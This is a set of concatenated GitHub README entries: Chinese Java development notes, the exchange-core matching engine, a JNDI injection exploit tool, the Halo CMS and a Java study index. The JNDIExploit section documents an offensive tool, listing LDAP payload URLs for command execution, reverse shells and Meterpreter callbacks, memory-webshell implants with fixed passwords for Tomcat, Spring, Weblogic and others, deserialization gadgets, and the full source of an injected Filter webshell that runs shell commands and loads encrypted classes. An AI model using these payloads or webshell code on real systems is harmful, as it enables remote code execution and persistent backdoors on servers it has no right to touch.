<li>使用过滤器将密码加密，不仅要将参数为password的值加密，还要将参数为password2的值加密，否则永远确认密码不一致</li>
<li>使用SpringMVC处理请求参数，如果自动封bean作为方法参数传入，那么该bean所携带的请求参数是不经过过滤器的！原因未知</li>
<li>自动登录最好使用过滤器实现，因为SpringMVC拦截器无法拦截index.jsp。而因为使用过滤器的时候Spring容器还未初始化，所以过滤器的属性需要手工注入</li>
<li>即便上一次响应设置了cookie的path，下一次请求携带的cookie的path也会是null。因此如果要修改或删除cookie，一定要严格满足name, path都设置，否则可能会无效</li>
<li>如果间接依赖了spring-cloud-starter-netflix-eureka-server，一定要把jackson-dataformat-xml排除掉，因为如果不排除掉会导致返回给浏览器的对象是xml格式而非json格式</li>
<li>MyBatis如果使用bean传参，不要使用<if>标签内的test属性名应该对应bean属性名而非表的列名。否则会报There is no getter for property named 'xx' in 'class xxx</li>
<li>在Springboot项目中，如果要在application.properties中写自定义配置项，若该配置项为路径字符串，一定要写全路径，从盘符写起，否则会自动在前面拼接tomcat的临时路径</li>
<li>html中onsubmit事件要放在form标签内，放在<input type="submit" />标签内无效</li>
<li>启动的时候需要先启动redis再启动微服务，否则会报RedisConnectionFailureException</li>
<li>redis作为缓存使用时，建议捕获RedisConnectionFailureException异常，从而在redis崩掉的情况下能够直接访问数据库</li>
<li>基于SpringCloud的Ribbon模块在微服务之间相互调用时，不经过zuul网关</li>
<li>MySQL主从高可用时，如果因为错误数据导致挂接失败，需要先取消挂接(stop slave)，手动删除错误数据，再重新挂接(start slave)</li>
<li>MyCat1.5.1版本还不支持复杂SQL，比如update...select..., insert ...select...等</li>
<li>insert的时候加上列名是一个好习惯，因为MyCat1.5.1不支持省略列名的写法</li>
<li>直接使用RedisTemplate模板类，键和值会出现类似\xac\xed\x00\x05t\x00的东西，此时要么不去手动查看redis输出，要么换用StringRedisTemplate</li>
<li>用nginx也能做到外部调用内部api的拦截，只需要将提供给前端的api路径和提供给后端的api路径区分开。比如提供给前端的api路径是/manage/query，提供给后端的api是/backend/query，因为nginx拼接了"/manage"，所以自然找不到/backend/query</li>
<li><code>@RequestParam</code>用于接收单个query请求参数；<code>@ModelAttribute</code>用于接收Content-Type为application/x-www-form-urlencoded的多个query请求参数后封装成bean；<code>@RequestBody</code>用于接收Content-Type为application/json的封装成body的请求参数
<table>
<tr>
<th></th><th>单个基本请求参数</th><th>多个请求参数组成的一个bean</th>
</tr>
<tr>
<td>query</td><td><code>@RequestParam</code></td><td><code>@ModelAttribute</code></td>
</tr>
<tr>
<td>body</td><td>无</td><td><code>@RequestBody</code></td>
</tr>
</table></li>
<li><code>@ExceptionHandler</code>注解修饰的方法别忘了加<code>@ResponseBody</code>注解，否则捕获不到异常</li>
</ul>
</body>
</html>
| 0 |
exchange-core/exchange-core | Ultra-fast matching engine written in Java based on LMAX Disruptor, Eclipse Collections, Real Logic Agrona, OpenHFT, LZ4 Java, and Adaptive Radix Trees. | bitcoin cryptocurrency cryptocurrency-exchanges exchange exchange-api forex-trading hft hft-trading java lmax-disruptor lock-free low-latency matching-algorithm matching-engine order-book stock-exchange stock-market stock-trading trading-api trading-platform | # exchange-core
[](https://travis-ci.org/mzheravin/exchange-core)
[](https://www.javadoc.io/doc/exchange.core2/exchange-core)
[](https://lgtm.com/projects/g/mzheravin/exchange-core/context:java)
[![][license img]][license]
Exchange-core is an **open source market exchange core** based on
[LMAX Disruptor](https://github.com/LMAX-Exchange/disruptor),
[Eclipse Collections](https://www.eclipse.org/collections/) (ex. Goldman Sachs GS Collections),
[Real Logic Agrona](https://github.com/real-logic/agrona),
[OpenHFT Chronicle-Wire](https://github.com/OpenHFT/Chronicle-Wire),
[LZ4 Java](https://github.com/lz4/lz4-java),
and [Adaptive Radix Trees](https://db.in.tum.de/~leis/papers/ART.pdf).
Exchange-core includes:
- orders matching engine
- risk control and accounting module
- disk journaling and snapshots module
- trading, admin and reports API
Designed for high scalability and pauseless 24/7 operation under high-load conditions and providing low-latency responses:
- 3M users having 10M accounts in total
- 100K order books (symbols) having 4M pending orders in total
- less than 1ms worst wire-to-wire target latency for 1M+ operations per second throughput
- 150ns per matching for large market orders
Single order book configuration is capable to process 5M operations per second on 10-years old hardware (Intel® Xeon® X5690) with moderate latency degradation:
|rate|50.0%|90.0%|95.0%|99.0%|99.9%|99.99%|worst|
|----|-----|-----|-----|-----|-----|------|-----|
|125K|0.6µs|0.9µs|1.0µs|1.4µs|4µs |24µs |41µs |
|250K|0.6µs|0.9µs|1.0µs|1.4µs|9µs |27µs |41µs |
|500K|0.6µs|0.9µs|1.0µs|1.6µs|14µs |29µs |42µs |
| 1M|0.5µs|0.9µs|1.2µs|4µs |22µs |31µs |45µs |
| 2M|0.5µs|1.2µs|3.9µs|10µs |30µs |39µs |60µs |
| 3M|0.7µs|3.6µs|6.2µs|15µs |36µs |45µs |60µs |
| 4M|1.0µs|6.0µs|9µs |25µs |45µs |55µs |70µs |
| 5M|1.5µs|9.5µs|16µs |42µs |150µs|170µs |190µs|
| 6M|5µs |30µs |45µs |300µs|500µs|520µs |540µs|
| 7M|60µs |1.3ms|1.5ms|1.8ms|1.9ms|1.9ms |1.9ms|
Benchmark configuration:
- Single symbol order book.
- 3,000,000 inbound messages are distributed as follows: 9% GTC orders, 3% IOC orders, 6% cancel commands, 82% move commands. About 6% of all messages are triggering one or more trades.
- 1,000 active user accounts.
- In average ~1,000 limit orders are active, placed in ~750 different price slots.
- Latency results are only for risk processing and orders matching. Other stuff like network interface latency, IPC, journaling is not included.
- Test data is not bursty, meaning constant interval between commands (0.2~8µs depending on target throughput).
- BBO prices are not changing significantly throughout the test. No avalanche orders.
- No coordinated omission effect for latency benchmark. Any processing delay affects measurements for next following messages.
- GC is triggered prior/after running every benchmark cycle (3,000,000 messages).
- RHEL 7.5, network-latency tuned-adm profile, dual X5690 6 cores 3.47GHz, one socket isolated and tickless, spectre/meltdown protection disabled.
- Java version 8u192, newer Java 8 versions can have a [performance bug](https://bugs.java.com/bugdatabase/view_bug.do?bug_id=JDK-8221355)
### Features
- HFT optimized. Priority is a limit-order-move operation mean latency (currently ~0.5µs). Cancel operation takes ~0.7µs, placing new order ~1.0µs;
- In-memory working state for accounting data and order books.
- Event-sourcing - disk journaling and journal replay support, state snapshots (serialization) and restore operations, LZ4 compression.
- Lock-free and contention-free orders matching and risk control algorithms.
- No floating-point arithmetic, no loss of significance is possible.
- Matching engine and risk control operations are atomic and deterministic.
- Pipelined multi-core processing (based on LMAX Disruptor): each CPU core is responsible for certain processing stage, user accounts shard, or symbol order books shard.
- Two different risk processing modes (specified per symbol): direct-exchange and margin-trade.
- Maker/taker fees (defined in quote currency units).
- Two order books implementations: simple implementation ("Naive") and performance implementation ("Direct").
- Order types: Immediate-or-Cancel (IOC), Good-till-Cancel (GTC), Fill-or-Kill Budget (FOK-B)
- Testing - unit-tests, integration tests, stress tests, integrity/consistency tests.
- Low GC pressure, objects pooling, single ring-buffer.
- Threads affinity (requires JNA).
- User suspend/resume operation (reduces memory consumption).
- Core reports API (user balances, open interest).
### Installation
1. Install library into your Maven's local repository by running `mvn install`
2. Add the following Maven dependency to your project's `pom.xml`:
```
<dependency>
<groupId>exchange.core2</groupId>
<artifactId>exchange-core</artifactId>
<version>0.5.3</version>
</dependency>
```
Alternatively, you can clone this repository and run the [example test](https://github.com/mzheravin/exchange-core/tree/master/src/test/java/exchange/core2/tests/examples/ITCoreExample.java).
### Usage examples
Create and start empty exchange core:
```java
// simple async events handler
SimpleEventsProcessor eventsProcessor = new SimpleEventsProcessor(new IEventsHandler() {
@Override
public void tradeEvent(TradeEvent tradeEvent) {
System.out.println("Trade event: " + tradeEvent);
}
@Override
public void reduceEvent(ReduceEvent reduceEvent) {
System.out.println("Reduce event: " + reduceEvent);
}
@Override
public void rejectEvent(RejectEvent rejectEvent) {
System.out.println("Reject event: " + rejectEvent);
}
@Override
public void commandResult(ApiCommandResult commandResult) {
System.out.println("Command result: " + commandResult);
}
@Override
public void orderBook(OrderBook orderBook) {
System.out.println("OrderBook event: " + orderBook);
}
});
// default exchange configuration
ExchangeConfiguration conf = ExchangeConfiguration.defaultBuilder().build();
// no serialization
Supplier<ISerializationProcessor> serializationProcessorFactory = () -> DummySerializationProcessor.INSTANCE;
// build exchange core
ExchangeCore exchangeCore = ExchangeCore.builder()
.resultsConsumer(eventsProcessor)
.serializationProcessorFactory(serializationProcessorFactory)
.exchangeConfiguration(conf)
.build();
// start up disruptor threads
exchangeCore.startup();
// get exchange API for publishing commands
ExchangeApi api = exchangeCore.getApi();
```
Create new symbol:
```java
// currency code constants
final int currencyCodeXbt = 11;
final int currencyCodeLtc = 15;
// symbol constants
final int symbolXbtLtc = 241;
// create symbol specification and publish it
CoreSymbolSpecification symbolSpecXbtLtc = CoreSymbolSpecification.builder()
.symbolId(symbolXbtLtc) // symbol id
.type(SymbolType.CURRENCY_EXCHANGE_PAIR)
.baseCurrency(currencyCodeXbt) // base = satoshi (1E-8)
.quoteCurrency(currencyCodeLtc) // quote = litoshi (1E-8)
.baseScaleK(1_000_000L) // 1 lot = 1M satoshi (0.01 BTC)
.quoteScaleK(10_000L) // 1 price step = 10K litoshi
.takerFee(1900L) // taker fee 1900 litoshi per 1 lot
.makerFee(700L) // maker fee 700 litoshi per 1 lot
.build();
future = api.submitBinaryDataAsync(new BatchAddSymbolsCommand(symbolSpecXbtLtc));
```
Create new users:
```java
// create user uid=301
future = api.submitCommandAsync(ApiAddUser.builder()
.uid(301L)
.build());
// create user uid=302
future = api.submitCommandAsync(ApiAddUser.builder()
.uid(302L)
.build());
```
Perform deposits:
```java
// first user deposits 20 LTC
future = api.submitCommandAsync(ApiAdjustUserBalance.builder()
.uid(301L)
.currency(currencyCodeLtc)
.amount(2_000_000_000L)
.transactionId(1L)
.build());
// second user deposits 0.10 BTC
future = api.submitCommandAsync(ApiAdjustUserBalance.builder()
.uid(302L)
.currency(currencyCodeXbt)
.amount(10_000_000L)
.transactionId(2L)
.build());
```
Place orders:
```java
// first user places Good-till-Cancel Bid order
// he assumes BTCLTC exchange rate 154 LTC for 1 BTC
// bid price for 1 lot (0.01BTC) is 1.54 LTC => 1_5400_0000 litoshi => 10K * 15_400 (in price steps)
future = api.submitCommandAsync(ApiPlaceOrder.builder()
.uid(301L)
.orderId(5001L)
.price(15_400L)
.reservePrice(15_600L) // can move bid order up to the 1.56 LTC, without replacing it
.size(12L) // order size is 12 lots
.action(OrderAction.BID)
.orderType(OrderType.GTC) // Good-till-Cancel
.symbol(symbolXbtLtc)
.build());
// second user places Immediate-or-Cancel Ask (Sell) order
// he assumes wost rate to sell 152.5 LTC for 1 BTC
future = api.submitCommandAsync(ApiPlaceOrder.builder()
.uid(302L)
.orderId(5002L)
.price(15_250L)
.size(10L) // order size is 10 lots
.action(OrderAction.ASK)
.orderType(OrderType.IOC) // Immediate-or-Cancel
.symbol(symbolXbtLtc)
.build());
```
Request order book:
```java
future = api.requestOrderBookAsync(symbolXbtLtc, 10);
```
GtC orders manipulations:
```java
// first user moves remaining order to price 1.53 LTC
future = api.submitCommandAsync(ApiMoveOrder.builder()
.uid(301L)
.orderId(5001L)
.newPrice(15_300L)
.symbol(symbolXbtLtc)
.build());
// first user cancel remaining order
future = api.submitCommandAsync(ApiCancelOrder.builder()
.uid(301L)
.orderId(5001L)
.symbol(symbolXbtLtc)
.build());
```
Check user balance and GtC orders:
```java
Future<SingleUserReportResult> report = api.processReport(new SingleUserReportQuery(301), 0);
```
Check system balance:
```java
// check fees collected
Future<TotalCurrencyBalanceReportResult> totalsReport = api.processReport(new TotalCurrencyBalanceReportQuery(), 0);
System.out.println("LTC fees collected: " + totalsReport.get().getFees().get(currencyCodeLtc));
```
### Testing
- latency test: mvn -Dtest=PerfLatency#testLatencyMargin test
- throughput test: mvn -Dtest=PerfThroughput#testThroughputMargin test
- hiccups test: mvn -Dtest=PerfHiccups#testHiccups test
- serialization test: mvn -Dtest=PerfPersistence#testPersistenceMargin test
### TODOs
- market data feeds (full order log, L2 market data, BBO, trades)
- clearing and settlement
- reporting
- clustering
- FIX and REST API gateways
- cryptocurrency payment gateway
- more tests and benchmarks
- NUMA-aware and CPU layout custom configuration
### Contributing
Exchange-core is an open-source project and contributions are welcome!
### Support
- [Discussion group in Telegram (t.me/exchangecoretalks)](https://t.me/exchangecoretalks)
- [News channel in Telegram (t.me/exchangecore)](https://t.me/exchangecore)
[license]:LICENSE.txt
[license img]:https://img.shields.io/badge/License-Apache%202-blue.svg
| 0 |
WhiteHSBG/JNDIExploit | 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改 | null | # JNDIExploit
一款用于 ```JNDI注入``` 利用的工具，大量参考/引用了 ```Rogue JNDI``` 项目的代码，支持直接```植入内存shell```，并集成了常见的```bypass 高版本JDK```的方式，适用于与自动化工具配合使用。
对 [@feihong-cs](https://github.com/feihong-cs) 大佬的项目https://github.com/feihong-cs/JNDIExploit 进行了一些改进,tomcatBypass现可直接上线msf。见添加内容2
---
## 免责声明
该工具仅用于安全自查检测
由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。
---
## 添加内容
添加内容是为了支持SpringBootExploit工具，是定制版的服务端。
1. 启动方式：java -jar JNDIExploit-1.3-SNAPSHOT.jar 默认绑定127.0.0.1 LDAP 绑定 1389 HTTP Server 绑定3456
2. 根目录下BehinderFilter.class是内存马 /ateam 密码是ateamnb
3. data/behinder3.jar 是为了支持SnakYaml RCE
4. 添加HTTPServer处理更多的请求，为了更好支持SpringBootExploit工具
5. 将文件放在data目录下，通过HTTPServer可以访问文件内容如同python的HTTPServer
## 添加内容2
新增哥斯拉内存马
- 支持引用类远程加载方式打入（Basic路由）
- 支持本地工厂类方式打入 （TomcatBypass路由）
哥斯拉客户端配置：
```
密码：pass1024
密钥：key
有效载荷：JavaDynamicPayload
加密器：JAVA_AES_BASE64
```
修复之前版本中的一些问题，冰蝎内存马现已直接可用冰蝎客户端直连
**新增msf上线支持**
- 支持tomcatBypass路由直接上线msf：
```
使用msf的java/meterpreter/reverse_tcp开启监听
ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport]
```
---
## TODO
1. 本地ClassPath反序列化漏洞利用方式
2. 支持自定义内存马密码
3. 内存马模块改一下
---
## 使用说明
使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明，其中 ```--ip``` 参数为必选参数
```
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
```
使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式
```
Supported LADP Queries：
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain]
ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd]
ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho
ldap://0.0.0.0:1389/TomcatBypass/SpringEcho
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell
ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp
[+] GroovyBypass Queries
ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd]
ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell
ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
```
* 目前支持的所有 ```PayloadType``` 为
* ```Dnslog```: 用于产生一个```DNS```请求，与 ```DNSLog```平台配合使用，对```Linux/Windows```进行了简单的适配
* ```Command```: 用于执行命令，如果命令有特殊字符，支持对命令进行 ```Base64编码```后传输
* ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell，方便使用
* ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```WeblogicEcho```: 用于在中间件为 ```Weblogic``` 时命令执行结果的回显，通过添加自定义```header``` ```cmd: whoami``` 的方式传递想要执行的命令
* ```TomcatMemshell1```: 用于植入```Tomcat内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```TomcatMemshell2```: 用于植入```Tomcat内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```, 使用时需要添加额外的```HTTP Header``` ```Shell: true```, **推荐**使用此方式
* ```SpringMemshell```: 用于植入```Spring内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WeblogicMemshell1```: 用于植入```Weblogic内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WeblogicMemshell2```: 用于植入```Weblogic内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```，**推荐**使用此方式
* ```JettyMemshell```: 用于植入```Jetty内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```JBossMemshell```: 用于植入```JBoss内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```
* ```WebsphereMemshell```: 用于植入```Websphere内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```
* 目前支持的所有 ```GadgetType``` 为
* ```URLDNS```
* ```CommonsBeanutils1```
* ```CommonsBeanutils2```
* ```CommonsCollectionsK1```
* ```CommonsCollectionsK2```
* ```C3P0```
* ```Jdk7u21```
* ```Jre8u20```
* ```CVE_2020_2551```
* ```CVE_2020_2883```
* ```WebsphereBypass``` 中的 3 个动作：
* ```list```：基于```XXE```查看目标服务器上的目录或文件内容
* ```upload```：基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录
* ```rce```：加载已上传至目标服务器临时目录的```jar包```，从而达到远程代码执行的效果（这一步本地未复现成功，抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常，有复现成功的小伙伴麻烦指导下）
## ```内存shell```说明
* 采用动态添加 ```Filter/Controller```的方式，并将添加的```Filter```移动至```FilterChain```的第一位
* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目
* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]```
* ```TomcatMemshell1和TomcatMemshell2``` 的访问方式需要修改```冰蝎```客户端（请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改），并在访问时需要添加 ```X-Options-Ai``` 头部，密码为```rebeyond```
## ```内存shell```说明2
* ```TomcatMemshell3``` 可直接使用冰蝎3客户端连接 推荐使用此payload
* ```GodzillaMemshell``` 可直接使用哥斯拉客户端连接 推荐使用此payload
TomcatMemshell1和TomcatMemshell2植入的 Filter 代码如下：
```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");
String k;
Cipher cipher;
if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
k = servletRequest.getParameter("pass");
if (k != null && !k.isEmpty()) {
cipher = null;
String[] cmds;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", k};
} else {
cmds = new String[]{"cmd", "/C", k};
}
String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
} else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
try {
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
k = "e45e329feb5d925b";
((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
targetMethod.invoke(evilObject, servletRequest, servletResponse);
}
} catch (Exception var10) {
var10.printStackTrace();
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
```
## 参考
* https://github.com/veracode-research/rogue-jndi
* https://github.com/welk1n/JNDI-Injection-Exploit
* https://github.com/welk1n/JNDI-Injection-Bypass
| 0 |
halo-dev/halo | 强大易用的开源建站工具。 | blog blog-engine cms content-management-system halo halocms wordpress-alternative | <p align="center">
<a href="https://www.halo.run" target="_blank" rel="noopener noreferrer">
<img width="100" src="https://www.halo.run/logo" alt="Halo logo" />
</a>
</p>
<p align="center"><b>Halo</b> [ˈheɪloʊ]，强大易用的开源建站工具。</p>
<p align="center">
<a href="https://github.com/halo-dev/halo/releases"><img alt="GitHub release" src="https://img.shields.io/github/release/halo-dev/halo.svg?style=flat-square&include_prereleases" /></a>
<a href="https://hub.docker.com/r/halohub/halo"><img alt="Docker pulls" src="https://img.shields.io/docker/pulls/halohub/halo?style=flat-square" /></a>
<a href="https://github.com/halo-dev/halo/commits"><img alt="GitHub last commit" src="https://img.shields.io/github/last-commit/halo-dev/halo.svg?style=flat-square" /></a>
<a href="https://github.com/halo-dev/halo/actions"><img alt="GitHub Workflow Status" src="https://img.shields.io/github/actions/workflow/status/halo-dev/halo/halo.yaml?branch=main&style=flat-square" /></a>
<a href="https://codecov.io/gh/halo-dev/halo"><img alt="Codecov percentage" src="https://img.shields.io/codecov/c/github/halo-dev/halo/main?style=flat-square&token=YsRUg9fall"/></a>
<a href="https://www.producthunt.com/posts/halo-6b401e75-bb58-4dff-9fe9-2ada3323c874?utm_source=badge-featured&utm_medium=badge&utm_souce=badge-halo-6b401e75-bb58-4dff-9fe9-2ada3323c874" target="_blank"><img src="https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=407442&theme=light" alt="Halo - Powerful and easy-to-use Open-Source website building tool | Product Hunt" style="height: 20px;" height="20px" /></a>
<br />
<a href="https://www.halo.run">官网</a>
<a href="https://docs.halo.run">文档</a>
<a href="https://bbs.halo.run">社区</a>
<a href="https://gitee.com/halo-dev">Gitee</a>
<a href="https://t.me/halo_dev">Telegram 频道</a>
</p>
------------------------------
## 快速开始
```bash
docker run -d --name halo -p 8090:8090 -v ~/.halo2:/root/.halo2 halohub/halo:2.14
```
以上仅作为体验使用，详细部署文档请查阅：<https://docs.halo.run/getting-started/install/docker-compose>
## 在线体验
- 环境地址：<https://demo.halo.run>
- 后台地址：<https://demo.halo.run/console>
- 用户名：`demo`
- 密码：`P@ssw0rd123..`
## 生态
可访问 [官方应用市场](https://www.halo.run/store/apps) 或 [awesome-halo 仓库](https://github.com/halo-sigs/awesome-halo) 查看适用于 Halo 2.x 的主题和插件。
## 许可证
[](https://github.com/halo-dev/halo/blob/master/LICENSE)
Halo 使用 GPL-v3.0 协议开源，请遵守开源协议。
## 赞助
如果 Halo 对你有帮助，欢迎[赞助我们](https://afdian.net/a/halo-dev)，感谢以下赞助者对 Halo 项目的支持：
<p align="center">
<a target="_blank" href="https://afdian.net/a/halo-dev">
<img alt="sponsors" src="https://github.com/halo-sigs/sponsor-images/blob/main/sponsorkit/sponsors.svg?raw=true">
</a>
</p>
## 贡献
参考 [CONTRIBUTING](https://github.com/halo-dev/halo/blob/main/CONTRIBUTING.md)。
<a href="https://github.com/halo-dev/halo/graphs/contributors"><img src="https://opencollective.com/halo/contributors.svg?width=890&button=false" /></a>
## 状态
| 0 |
crossoverJie/JCSprout | 👨🎓 Java Core Sprout : basic, concurrent, algorithm | algorithm basic-java concurrent-programming java jvm netty |
<div align="center">
<img src="https://ws1.sinaimg.cn/large/0069RVTdly1fubocn5pxaj30go082dg1.jpg" width=""/>
<br/>
[](https://travis-ci.org/crossoverJie/JCSprout)
[](https://jq.qq.com/?_wv=1027&k=5HPYvQk)
[qq0groupsvg]: https://img.shields.io/badge/QQ%E7%BE%A4-787381170-yellowgreen.svg
[qq0group]: https://jq.qq.com/?_wv=1027&k=5HPYvQk
</div><br>
> `Java Core Sprout`：处于萌芽阶段的 Java 核心知识库。
**访问这里获取更好的阅读体验**：[https://crossoverjie.top/JCSprout/](https://crossoverjie.top/JCSprout/)
<br/>
| 📊 |⚔️ | 🖥 | 🚏 | 🏖 | 🌁| 📮 | 🔍 | 🚀 | 🌈 |💡
| :--------: | :---------: | :---------: | :---------: | :---------: | :---------:| :---------: | :-------: | :-------:| :------:|:------:|
| [集合](#常用集合) | [多线程](#java-多线程)|[JVM](#jvm) | [分布式](#分布式相关) |[框架](#常用框架第三方组件)|[架构设计](#架构设计)| [数据库](#db-相关) |[算法](#数据结构与算法)|[Netty](#netty-相关)| [附加技能](#附加技能)|[联系作者](#联系作者) |
### 常用集合
- [ArrayList/Vector](https://github.com/crossoverJie/JCSprout/blob/master/MD/ArrayList.md)
- [LinkedList](https://github.com/crossoverJie/JCSprout/blob/master/MD/LinkedList.md)
- [HashMap](https://github.com/crossoverJie/JCSprout/blob/master/MD/HashMap.md)
- [HashSet](https://github.com/crossoverJie/JCSprout/blob/master/MD/collection/HashSet.md)
- [LinkedHashMap](https://github.com/crossoverJie/JCSprout/blob/master/MD/collection/LinkedHashMap.md)
### Java 多线程
- [多线程中的常见问题](https://github.com/crossoverJie/JCSprout/blob/master/MD/Thread-common-problem.md)
- [synchronized 关键字原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/Synchronize.md)
- [多线程的三大核心](https://github.com/crossoverJie/JCSprout/blob/master/MD/Threadcore.md)
- [对锁的一些认知](https://github.com/crossoverJie/JCSprout/blob/master/MD/Java-lock.md)
- [ReentrantLock 实现原理 ](https://github.com/crossoverJie/JCSprout/blob/master/MD/ReentrantLock.md)
- [ConcurrentHashMap 的实现原理](https://github.com/crossoverJie/JCSprout/blob/master/MD/ConcurrentHashMap.md)
- [如何优雅的使用和理解线程池](https://github.com/crossoverJie/JCSprout/blob/master/MD/ThreadPoolExecutor.md)
